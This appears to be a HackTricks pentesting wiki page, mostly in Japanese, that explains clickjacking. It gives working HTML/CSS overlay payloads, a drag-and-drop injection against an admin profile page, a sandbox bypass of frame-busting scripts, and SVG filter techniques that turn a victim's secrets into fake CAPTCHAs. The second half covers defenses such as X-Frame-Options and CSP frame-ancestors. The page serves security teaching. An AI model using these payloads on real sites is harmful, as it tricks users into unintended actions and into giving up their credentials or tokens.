Clickjacking

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Clickjackingとは

Clickjacking攻撃では、ウェブページ上の要素が見えないか別の要素に偽装されており、ユーザーがその要素をクリックするように騙されます。この操作により、malwareのダウンロード、悪意のあるウェブページへのリダイレクト、認証情報や機密情報の提供、送金、商品のオンライン購入など、ユーザーにとって意図しない結果が発生する可能性があります。

フォーム事前入力トリック

ページを読み込む際に、GET parametersを使ってフォームのフィールドの値を事前入力できる場合があります。攻撃者はこの挙動を悪用して任意のデータでフォームを埋め、clickjacking payloadを送りユーザーにボタン「Submit」を押させることができます。

Populate form with Drag&Drop

ユーザーにフォームを入力させる必要があるが、直接特定の情報（例えば既に知っているメールアドレスや特定のパスワード）を書かせたくない場合、ユーザーに何かをDrag&Dropさせるだけで、あなたが制御するデータを書き込ませることができます。詳細はthis exampleを参照してください。

Basic Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

マルチステップ Payload

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

もし、ある要素をクリックすることでtriggerされるXSS attack that requires a user to clickを特定し、そのページがvulnerable to clickjackingであれば、ユーザーにボタンやリンクをクリックさせるように仕向けて悪用できます。
例:
You found a self XSS in some private details of the account (details that only you can set and read). The page with the form to set these details is vulnerable to Clickjacking and you can prepopulate the form with the GET parameters.
An attacker could prepare a Clickjacking attack to that page prepopulating the form with the XSS payload and tricking the user into Submit the form. So, when the form is submitted and the values are modified, the user will execute the XSS.

DoubleClickjacking

Firstly explained in this post, this technique would ask the victim to double click on a button of a custom page placed in a specific location, and use the timing differences between mousedown and onclick events to load the victim page duing the double click so the victim actually clicks a legit button in the victim page.

An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

Warning

この技術は、victimページの1箇所をクリックさせるように仕向け、clickjackingに対するあらゆる保護を回避することができます。したがって、攻撃者はsensitive actions that can be done with just 1 click, like OAuth prompts accepting permissionsを見つける必要があります。

SVG Filters / Cross-Origin Iframe UI Redressing

Modern Chromium/WebKit/Gecko buildsでは、CSS filter:url(#id) をcross-origin iframesに適用できるようになっています。iframeのラスタライズされたピクセルはSVGフィルターグラフにSourceGraphicとして露出されるため、feDisplacementMap、feBlend、feComposite、feColorMatrix、feTile、feMorphologyなどのプリミティブで、attackerがDOMに触れることなく、userが見る前にvictim UIを任意に歪めることができます。簡単なLiquid-Glassスタイルのフィルターは次のようになります:

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • Useful primitives: feImage は攻撃者のビットマップ（例: overlays、displacement maps）を読み込みます; feFlood は単色のマットを生成します; feOffset/feGaussianBlur はハイライトを微調整します; feDisplacementMap はテキストを屈折/歪曲させます; feComposite operator="arithmetic" はチャネルごとの任意演算を実装します（r = k1*i1*i2 + k2*i1 + k3*i2 + k4）、これはコントラスト強化、マスキング、AND/OR 操作に十分です; feTile はピクセルプローブを切り取り・複製します; feMorphology はストロークを拡大/縮小します; feColorMatrix はルマをアルファに移して精密なマスクを作成します。

シークレットをCAPTCHA風のプロンプトに歪める

フレーム化可能なエンドポイントがシークレット（tokens、reset codes、API keys）を表示する場合、攻撃者はそれらをCAPTCHAのように変形し、手動での転記を強要できます：

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

歪められたピクセルは、攻撃者が制御する <input> の中でユーザーを「captchaを解いた」と誤認させる。そこでは pattern が実際の被害者の秘密を強制している。

被害者入力の再コンテキスト化

フィルタはプレースホルダー／検証用テキストを外科的に削除しつつ、ユーザーのキー入力を保持できる。ワークフローの一例：

  1. feComposite operator="arithmetic" k2≈4 は明るさを増幅し、灰色の補助テキストを白まで飽和させる。
  2. feTile は作業領域を入力矩形に限定する。
  3. feMorphology operator="erode" は被害者が入力した暗いグリフを太らせ、result="thick" に保存する。
  4. feFlood が白いプレートを作り、feBlend mode="difference" で thick と合成し、二度目の feComposite k2≈100 がそれを明確な輝度マットに変換する。
  5. feColorMatrix がその輝度をアルファに移し、feComposite in="SourceGraphic" operator="in" がユーザーが入力したグリフだけを保持する。
  6. 別の feBlend in2="white" とわずかなトリミングでクリーンなテキストボックスが得られ、その後攻撃者は自分のHTMLラベル（例：「メールアドレスを入力」）を重ねる。一方で隠れた iframe は被害者オリジンのパスワードポリシーを引き続き強制する。

Safari は feTile に苦手意識がある；同じ効果は feFlood + feColorMatrix + feComposite から作った空間マットで再現でき、WebKit 専用の payloads に用いることができる。

ピクセルプローブ、ロジック、状態マシン

feTile で 2–4 px の領域を切り出し、それをビューポートの 100% にタイルすると、攻撃者はサンプリングした色をフルフレームのテクスチャに変換でき、それをしきい値処理してブールマスクにできる：

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

For arbitrary colors, a feFlood reference (e.g., #0B57D0) plus feBlend mode="difference" and another arithmetic composite (k2≈100, k4 as tolerance) outputs white only when the sampled pixel matches the target shade. Feeding these masks into feComposite with tuned k1..k4 yields logic gates: AND via k1=1, OR via k2=k3=1, XOR via feBlend mode="difference", NOT via blending against white. Chaining gates makes a full adder inside the filter graph, proving the pipeline is functionally complete.

したがって攻撃者は JavaScript を使わずに UI 状態を読み取れます。モーダルワークフローからのブール例:

  • D (dialog visible): 暗くなった隅をプローブして白と比較します。
  • L (dialog loaded): ボタンが準備できたときに表示される座標をプローブします。
  • C (checkbox checked): チェックボックスのピクセルをアクティブな青 #0B57D0 と比較します。
  • R (red success/failure banner): バナー矩形内で feMorphology と赤の閾値を使います。

検出された各状態は feImage xlink:href="data:..." で埋め込まれた異なるオーバーレイビットマップのゲートになります。これらのビットマップを D、L、C、R でマスクすることで、オーバーレイを実際のダイアログと同期させ、DOM を露出させることなく被害者を複数ステップのワークフロー（パスワードリセット、承認、破壊的確認など）に導くことができます。

Browser extensions: DOM-based autofill clickjacking

被害者ページを iframe に入れる以外に、攻撃者はページに注入される browser extension の UI 要素を狙えます。パスワードマネージャーはフォーカスされた入力付近に autofill ドロップダウンを表示します。攻撃者が制御するフィールドにフォーカスさせ、拡張機能のドロップダウンを隠す/覆う（opacity/overlay/最前面レイヤのトリック）ことで、強制されたユーザークリックが保存された項目を選択し、機密データを攻撃者制御の入力へ入力させることが可能です。このバリアントは iframe の露出を必要とせず、完全に DOM/CSS 操作だけで動作します。

Strategies to Mitigate Clickjacking

Client-Side Defenses

クライアント側で実行されるスクリプトは Clickjacking を防ぐために次のような対策を行えます:

  • アプリケーションウィンドウが main または top ウィンドウであることを確認する。
  • すべてのフレームを可視化する。
  • 非表示フレーム上のクリックを防ぐ。
  • 潜在的な Clickjacking 試行を検出してユーザーに警告する。

ただし、これらのフレームバスター スクリプトは回避される可能性があります:

  • Browsers’ Security Settings: 一部のブラウザはセキュリティ設定や JavaScript 非対応に基づきこれらのスクリプトをブロックする可能性があります。
  • HTML5 iframe sandbox Attribute: 攻撃者は sandbox 属性を allow-forms や allow-scripts といった値で設定しつつ allow-top-navigation を付けないことでフレームバスターを無効化できます。これにより iframe が自分が top ウィンドウかどうかを検証できなくなります。例えば、
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

allow-forms と allow-scripts の値は、iframe 内での操作を許可しつつ、トップレベルのナビゲーションを無効にします。対象サイトの意図した機能を維持するためには、攻撃の種類によって allow-same-origin や allow-modals などの追加権限が必要になる場合があります。どの権限を許可するべきかは、ブラウザのコンソールメッセージが示してくれます。

Server-Side Defenses

X-Frame-Options

The X-Frame-Options HTTP response header は、ページを <frame> や <iframe> でレンダリングすることの正当性をブラウザに伝え、Clickjacking を防ぐのに役立ちます:

  • X-Frame-Options: deny - どのドメインもコンテンツをフレーム表示できません。
  • X-Frame-Options: sameorigin - 同一オリジンのサイトだけがコンテンツをフレーム表示できます。
  • X-Frame-Options: allow-from https://trusted.com - 指定した ‘uri’ のみがページをフレーム表示できます。
  • Note the limitations: if the browser doesn’t support this directive, it might not work. Some browsers prefer the CSP frame-ancestors directive.

Content Security Policy (CSP) frame-ancestors directive

frame-ancestors directive in CSP は Clickjacking の保護方法として推奨されます:

  • frame-ancestors 'none' - X-Frame-Options: deny と同様です。
  • frame-ancestors 'self' - X-Frame-Options: sameorigin と同様です。
  • frame-ancestors trusted.com - X-Frame-Options: allow-from と同様です。

For instance, the following CSP only allows framing from the same domain:

Content-Security-Policy: frame-ancestors 'self';

Further details and complex examples can be found in the frame-ancestors CSP documentation and Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) with child-src and frame-src

Content Security Policy (CSP) は、ブラウザにどのソースからコンテンツを読み込むことを許可するかを指定することで、Clickjacking やその他のコードインジェクション攻撃を防ぐのに役立つセキュリティ対策です。

frame-src Directive

  • フレームの有効なソースを定義します。
  • default-src ディレクティブよりも具体的です。
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

このポリシーは、同一オリジン（self）および https://trusted-website.com からのフレームを許可します。

child-src ディレクティブ

  • CSP level 2で導入され、web workersおよびframesの有効なソースを設定するためのものです。
  • frame-src および worker-src のフォールバックとして機能します。
Content-Security-Policy: child-src 'self' https://trusted-website.com;

このポリシーは、同一オリジン（self）および https://trusted-website.com からのフレームとワーカーを許可します。

使用上の注意:

  • 廃止予定: child-src は frame-src と worker-src に置き換えられつつあります。
  • フォールバック動作: frame-src がない場合、child-src がフレームのフォールバックとして使用されます。両方がない場合は default-src が使用されます。
  • 厳格なソース定義: 悪用を防ぐため、ディレクティブには信頼できるソースのみを含めてください。

JavaScript Frame-Breaking Scripts

完全ではありませんが、JavaScript ベースの frame-busting scripts を使ってウェブページがフレーム内に表示されるのを防ぐことができます。例:

if (top !== self) {
top.location = self.location
}

Anti-CSRF Tokens の導入

  • トークン検証: Webアプリケーションで anti-CSRF tokens を使用し、状態を変更するリクエストがユーザーの意図によるものであり Clickjacked ページ経由ではないことを保証します。

参考資料

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする